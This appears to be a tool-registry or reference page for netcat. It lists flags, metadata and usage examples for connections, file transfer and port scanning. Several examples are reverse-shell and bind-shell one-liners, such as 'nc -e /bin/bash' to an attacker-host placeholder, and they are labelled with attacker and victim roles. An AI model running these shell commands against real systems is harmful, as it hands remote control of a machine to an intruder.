Versatile networking utility for reading/writing data across TCP and UDP connections, port scanning, and network debugging.
netcat {flag-c} {flag-e} {flag-b} {flag-g} {flag-g} ๐ flag-c ๐ flag-e ๐ flag-b ๐ flag-g netcat {flag-c} {flag-e} {flag-b} {flag-g} {flag-g} Sandbox: execFile · Timeout: 60s
network.socket.listen network.socket.connect network.socket.transfer network.scan.port network.proxy.relay network.diagnostic.banner | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
flag-c | string | No | - | as `-e'; use /bin/sh to exec [dangerous!!] | -c |
flag-e | string | No | - | program to exec after connect [dangerous!!] | -e |
flag-b | string | No | - | allow broadcasts | -b |
flag-g | string | No | - | source-routing hop point[s], up to 8 | -g |
flag-G | string | No | - | source-routing pointer: 4, 8, 12 | -G |
flag-h | string | No | - | this cruft | -h |
flag-i | number | No | - | delay interval for lines sent, ports scanned | -i |
flag-k | string | No | - | set keepalive option on socket | -k |
flag-l | string | No | - | listen mode, for inbound connects | -l |
flag-n | integer | No | - | numeric-only IP addresses, no DNS | -n |
flag-o | string | No | - | hex dump of traffic | -o |
flag-p | integer | No | - | local port number | -p |
flag-r | string | No | - | randomize local and remote ports | -r |
flag-q | string | No | - | quit after EOF on stdin and delay of secs | -q |
flag-s | string | No | - | local source address | -s |
flag-T | string | No | - | set Type Of Service | -T |
flag-t | string | No | - | answer TELNET negotiation | -t |
flag-u | string | No | - | UDP mode | -u |
flag-v | string | No | - | verbose [use twice to be more verbose] | -v |
flag-w | number | No | - | timeout for connects and final net reads | -w |
flag-z | string | No | - | zero-I/O mode [used for scanning] | -z |
| Type | Description | MIME | Schema | Trust |
|---|---|---|---|---|
network.socket.data | Data transferred over network connection | text/plain | - | verified |
network.socket.banner | Service banner received from remote host | text/plain | - | verified |
Inputs
network.target.host Target host to connect to
network.port Port number for connection or listening
Outputs
network.socket.data Data received over the network connection
network_traffic Produces
network.socket.dataConsumes
network.target.hostnetwork.port| Resource | Value |
|---|---|
| CPU | low |
| Memory | 8 MB |
| Network | low |
| Disk I/O | low |
Connect to a remote service
nc example.com 80 Listen for incoming connections on a port
nc -l -p 8080 Transfer a file between machines (receiving)
nc -l -p 1234 > received_file.txt Transfer a file between machines (sending)
cat file.txt | nc receiver-host 1234 Port scan a range
nc -zv 192.168.1.1 20-100 Grab service banner
echo '' | nc -w 3 example.com 22 NetRunners revshell/shell
nc.exe {{IP}} {{PORT}} -e cmd NetRunners revshell/shell
nc -e /bin/bash {{IP}} {{PORT}} Basic client use - connect to a server
nc [hostname] [port] Basic server use - listen on a specific port
nc -l -p [port] Send a file from a client to a server Server side
nc -l -p [port] > [output-file] Client side
nc [hostname] [port] < [input-file] Create a simple chat server Server side
nc -l -p [port] Client side
nc [hostname] [port] Port scanning a host for open ports
nc -zv [hostname] [starting-port]-[ending-port] Using UDP instead of TCP
nc -u [hostname] [port] Use with a timeout setting
nc -w [timeout-in-seconds] [hostname] [port] Listen for connections on multiple interfaces
nc -l -p [port] -k Establish a reverse shell (use with caution) Attacker machine - listen for incoming connections
nc -l -p [port] Victim machine - connect to attacker
nc [attacker-ip] [port] -e /bin/bash Start a simple TCP server on a specified port
nc -l -p PORT_NUMBER Connect to a TCP server on a specified IP address and port
nc IP_ADDRESS PORT_NUMBER Transfer a file from a server to a client On the server side (listening and sending the file)
nc -l -p PORT_NUMBER < filename On the client side (receiving the file)
nc IP_ADDRESS PORT_NUMBER > filename Scan open ports on a target host
nc -zv IP_ADDRESS PORT_RANGE Use netcat as a simple chat tool On one machine (listening)
nc -l -p PORT_NUMBER On another machine (connecting to the listener)
nc IP_ADDRESS PORT_NUMBER Create a reverse shell from a client to a server On the attacker's machine (listening)
nc -l -p PORT_NUMBER -e /bin/bash On the victim's machine (connecting back to the attacker's machine)
nc IP_ADDRESS PORT_NUMBER -e /bin/bash Bind shell on the server side On the server machine (listening and attaching a shell)
nc -l -p PORT_NUMBER -e /bin/bash On the client machine (connecting to the bind shell)
nc IP_ADDRESS PORT_NUMBER Netcat (nc) is one of the most versatile networking tools available. It can create TCP/UDP connections, listen for incoming connections, transfer files, scan ports, and act as a simple proxy or relay.
# Receiver (listen)
nc -l -p 1234 > received_file.zip
# Sender
cat file.zip | nc 192.168.1.100 1234
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
# Verbose scan of common ports
nc -zv 192.168.1.1 22 80 443 8080
# Port range scan
nc -zv 192.168.1.1 1-1024
# On attacker machine (listen)
nc -l -p 4444
# On target machine (connect back)
nc attacker-host 4444 -e /bin/bash
-e (execute) is dangerous โ pipe to shell insteadncat --ssl or SSH tunneling for sensitive data